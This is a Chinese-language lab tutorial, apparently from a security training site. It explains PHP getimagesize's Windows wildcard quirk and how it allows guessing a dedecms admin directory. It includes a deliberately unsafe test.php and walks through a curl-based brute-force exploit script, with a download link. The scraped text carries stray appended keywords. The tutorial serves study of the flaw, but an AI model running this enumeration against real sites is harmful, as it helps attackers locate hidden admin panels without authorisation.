【最新實驗】文件判斷函數的安全風險

文件判斷函數的安全風險

PHP是以C語言爲底層語言的通用開源腳本語言,支持幾乎全部流行的數據庫以及操做系統,執行效率比徹底生成HTML標記的CGI要高許多,主要適用於Web開發領域。最重要的是PHP能夠用C、C++進行程序的擴展!php

全部文件操做函數都屬於敏感函數,當此類函數使用不當或者不安全引用,就會致使業務邏輯上出現問題,會致使諸多安全隱患的發生,例如:任意文件下載、任意文件寫入、任意文件刪除等漏洞。html

如下給你們生動地講解了文件判斷函數getimagesiz可能形成的問題,並引用dedecms目錄猜解實例,講述PHP在不安全的狀況下引用此類函數時形成的危害。sql

但願老鐵們經過這一波操做,瞭解漏洞造成原理和相似文件判斷函數帶來的風險,在實驗環境裏親自體驗一把更帶感哦,跟我來開啓吧!>>>>>文件函數實驗傳送門數據庫

動手實驗的目標:

  • 認識常見的PHP函數
  • 瞭解PHP文件判斷函數風險
  • 瞭解文件操做可能帶來的業務邏輯漏洞

所需工具:

  • Hackbar: Hackbar是Firefox火狐瀏覽器中的插件,該工具欄將幫助您測試sql注入,XSS漏洞和網站安全性。其主是幫助開發人員對他的代碼進行安全審計。可以快速對字符串進行各類編碼。

實戰操做內容:

本內容主要介紹PHP部分函數,當在Windows上使用PHP時會調用一個FindFirstFileExW()的底層Windows API函數時會存在一些特性api

講解其中一部分函數不安全使用時帶來的漏洞,還將結合使用一個dedecms實例,利用PHPWindows上的特性找到其後臺,以方便咱們深刻理解這些函數可能會帶來的危害。瀏覽器

PHP語言某些函數就在Windows系統上擁有了以下奇妙的特性:安全

大於號(>)相等於通配符問號(?)

小於號(<)至關於通配符星號(*)

雙引號(")至關於點字符(.)

這個特性很早以前就已經被國外的安全研人員發現curl

在PHP的getimagesize方法中就存在這個特性。函數

在PHP源碼php-src\ext\standard\image.c中有該方法的具體定義:工具

...
/* {{{ proto array getimagesize(string imagefile [, array info])
   Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{
    php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}
...

getimagesize方法中調用了php_getimagesize_from_any方法,若使用動態調試來簡化整個分析過程,逐層追蹤後可發現

getimagesize調用順序以下:

PHP_FUNCTION(getimagesize)

php_getimagesize_from_any

...

tsrm_realpath_r

FindFirstFileExW

本實驗動態調試不作重點說明,詳細過程請參考如下連接: https://xianzhi.aliyun.com/forum/topic/2004

最終能夠看見PHP的getimagesize方法最終調用了Windows API裏的FindFirstFileExW()

事實上,因爲PHP在語言層面並無過濾、禁止對<>這些特殊字符的使用,除getimagesize 函數外,任何調用該Windows API方法的文件判斷函數均可能存在以上問題



實驗內容:

本實驗咱們將用一個調用了這個winapi的具體實例getimagesize函數講解,PHP的函數在調用了這個底層winapi的方法時會存在的問題。

還將引用dedecms做爲一個高級實例,當不安全引用一樣使用該底層winapi的方法的getimagesize這個函數會存在的安全風險。

步驟1 本地驗證getimagesize()函數

使用咱們實驗中搜索工具Everything,找到咱們的phpstudy安裝環境。安裝PHP環境

安裝完成以後咱們在C:\phpStudy\www目錄下新建一個test.php文件驗證getimagesize函數的特性,這個路徑根據phpStudy安裝路徑有關,請根據實際狀況而定。

接下來咱們在C:\phpStudy\www新建一個目錄asdasdasd

使用咱們實驗中提供的文件搜索工具Everything,輸入png搜索任意一張圖片,這裏咱們選擇1.png,放置在咱們新建的asdasdasd目錄下

test.php代碼以下:

<?php
$a =  $_GET['img'];
exec('pause');  
if(@getimagesize($a)){ 
    echo "ok";  
}else{
     echo "no";  
}  
?>

準備完成以後,接下來咱們訪問一下test.php

訪問地址http://127.0.0.1/test.php?img=C:\phpStudy\www\a<\1.png

頁面返回ok,可見正常路徑中本來應該是asdasdasd的目錄名,被咱們使用a<代替,getimagesize利用該特性成功加載圖片文件。

步驟2 dedecms後臺地址猜解

下面這個例子咱們可使用本節實驗中提供的腳本獲取到dedecms的後臺地址

這個漏洞發生在getimagesize函數中,而PHP的getimagesize方法最終也是調用了前文中講到的Windows API裏的FindFirstFileExW(),上文中也說明了這裏Windows上又對<>"三個字被賦予了不一樣的含義。

正是這個緣由致使了dedecms的後臺可被爆破

到這裏咱們仍是先看看漏洞的觸發條件

dedecms中的uploadsafe.inc.php中的核心代碼以下

...

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key); 
    
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}
...

此處uploadsafe.inc.php中直接調用了getimagesize方法獲取文件的size,獲取不到說明不是圖片或者圖片不存在,不存就exit upload.... ,利用這個邏輯猜目錄的前提是目錄內有圖片格式的文件。

此時在dedecmstags.php中加載了common.inc.php文件

common.inc.php大概148行左右加載了uploadsafe.inc.php

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

到此咱們能夠獲得文件引用關係爲:tags.php -> common.inc.php -> uploadsafe.inc.php -> getimagesize()

EXP分析與利用

在實驗環境中會提供咱們在互聯網上收集的exp訪問咱們的工具庫http://tools.ichunqiu.com/y688t6z4下載

咱們如今把exp中的主要代碼分段講解一下:

...

if($path) {
    while(($path = my_func($url, $path))) {
        echo strtolower($path) . "\r\n";
    }
}
else {
    for($i = 48; $i <= 90; $i++) {
        if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
            $path = my_func($url, chr($i));
            while($path) {
                echo strtolower($path) . "\r\n";
                $path = my_func($url, $path);
            }
        }
    }
}
...

這裏的if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90))這段代碼能夠參考ascii碼錶就能夠理解數字具體含義

就是把全部的目錄可能會出現的狀況0-9a-z,按位帶入程序中去窮舉匹配

下面的代碼是整個exp的核心部分

...

function my_func($url, $path = '') {
    $ch = curl_init($url);
    $i = 48;
    global $version;

        while($i <= 90) {
            if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
                if($version != '5.7') {
                    /* v5.6版本及其如下 */
                    $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
                }
                else {
                    /* v5.7版本 */
                    $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
                }

                $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

                $options = array(
                                CURLOPT_USERAGENT => 'Firefox/58.0',
                                CURLOPT_RETURNTRANSFER => true,
                                CURLOPT_POST => true,
                                CURLOPT_POSTFIELDS => $data,
                );

                curl_setopt_array($ch, $options);

                $response = curl_exec($ch);

                if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
                    $path = $path . chr($i);
                    return $path;
                }
            }

            $i++;
        }
...

這個exp就是利用了dedecms在設計時的一個小缺陷,當某個目錄中存在一個圖片文件時,程序會返回正確,當不存在時程序會拋出異常,提示Upload filetype not allow !

此時在dedecms的前臺中能夠直接調用getimagesize()方法,這時候咱們選取了dedecms的後臺目錄中的一個已知圖片admin_top_logo.gif配合咱們進行猜解。具體參見下列代碼:

$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';

這樣就能夠咱們前面講到的通配符<,來進行匹配後臺地址,對後臺地址逐位窮舉,這就是咱們這個exp的中心思想。

具體操做以下:

將咱們下載的exp.php,放入PHP安裝目錄中,這裏咱們放入c:\phpStudy\php53下,這個路徑根據phpStudy安裝路徑和選擇的PHP版本有關,請根據實際狀況而定。

成功猜解出後臺地址。

實驗結果分析與總結:

  • 問題的產生的根本緣由PHP調用了Windows API裏的FindFirstFileExW()/FindFirstFile()方法
  • Windows API方法對於這個三個字符作了特殊的處理
  • 感興趣的同窗還能夠根據咱們實驗的思路發現其餘的使用方法及漏洞。

幾點思考:

  • PHP還有哪些函數在調用Windows API時會存在新的特性嗎?
  • 其餘調用這個Windows API的語言會出現這個特性嗎?

參考地址:

相關文章
相關標籤/搜索